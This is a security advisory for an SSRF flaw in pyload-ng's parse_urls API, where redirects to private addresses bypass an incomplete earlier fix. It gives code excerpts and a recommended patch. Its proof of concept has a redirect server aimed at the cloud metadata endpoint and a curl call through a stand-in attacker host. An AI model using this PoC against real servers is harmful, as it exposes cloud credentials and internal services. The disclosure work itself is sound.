CVE-2026-46561 — pyload-ng

Summary

The SSRF mitigation added in commit 33c55da for GHSA-7gvf-3w72-p2pg is incomplete. The PREREQFUNCTION-based private IP check was correctly applied to HTTPChunk (download path) but not to HTTPRequest (used by the parse_urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is_global_host() check on the initial URL.

Details

The parse_urls API method validates the initial URL hostname:

# src/pyload/core/api/__init__.py:600-604
if url:
    urlp = urlparse(url)
    hostname = urlp.hostname
    if urlp.scheme in ("http", "https") and hostname and is_global_host(hostname):
        page = get_url(url)

get_url() is imported from request_factory.py and creates an HTTPRequest with default settings:

# src/pyload/core/network/request_factory.py:58-64
def get_url(self, *args, **kwargs):
    with HTTPRequest(None, self.get_options()) as h:
        rep = h.load(*args, **kwargs)
    return rep

HTTPRequest.__init__ sets allow_private_ip = True by default:

# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = True

The init_handle() method enables redirect following:

# src/pyload/core/network/http/http_request.py:117-118
self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)

The _pre_request_callback that should block redirects to private IPs is a no-op when allow_private_ip is True:

# src/pyload/core/network/http/http_request.py:574-582
def _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):
    if not self.allow_private_ip and not is_global_address(conn_primary_ip):
        return pycurl.PREREQFUNC_ABORT
    return pycurl.PREREQFUNC_OK

The fix at commit 33c55da correctly set allow_private_ip = False in HTTPChunk (http_chunk.py:136) for the download path, but HTTPRequest used by RequestFactory.get_url() retains the default of True, leaving the parse_urls API unprotected against redirect-based SSRF.

PoC

# Step 1: Start a redirect server on attacker-controlled host
python3 -c "
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()
HTTPServer(('0.0.0.0', 8888), H).serve_forever()
"

# Step 2: Authenticated user with ADD permission calls parse_urls
curl -X POST 'http://pyload-host:8000/api/parse_urls' \
  -H 'Cookie: session=<valid_session>' \
  -d 'url=http://attacker.com:8888/redirect'

# Expected flow:
# 1. is_global_host('attacker.com') -> True (passes validation)
# 2. get_url() creates HTTPRequest with allow_private_ip=True
# 3. pycurl fetches attacker.com:8888, receives 302 -> http://169.254.169.254/latest/meta-data/
# 4. _pre_request_callback runs but skips check (allow_private_ip=True)
# 5. pycurl follows redirect to cloud metadata endpoint
# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker

Impact

An authenticated attacker with ADD permission can perform SSRF against:

• Cloud metadata endpoints (AWS IMDSv1 at 169.254.169.254, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets
• Internal services on private networks (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x)
• Localhost services (127.0.0.1) running on the pyload server

Data exfiltration is partially limited by the RE_URLMATCH regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The REDIR_PROTOCOLS setting limits redirects to HTTP/HTTPS only.

Recommended Fix

Set allow_private_ip = False in RequestFactory.get_url():

# src/pyload/core/network/request_factory.py
def get_url(self, *args, **kwargs):
    with HTTPRequest(None, self.get_options()) as h:
        h.allow_private_ip = False  # Prevent SSRF via redirects
        rep = h.load(*args, **kwargs)
    return rep

Alternatively, change the default in HTTPRequest.__init__ to False:

# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = False

The second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.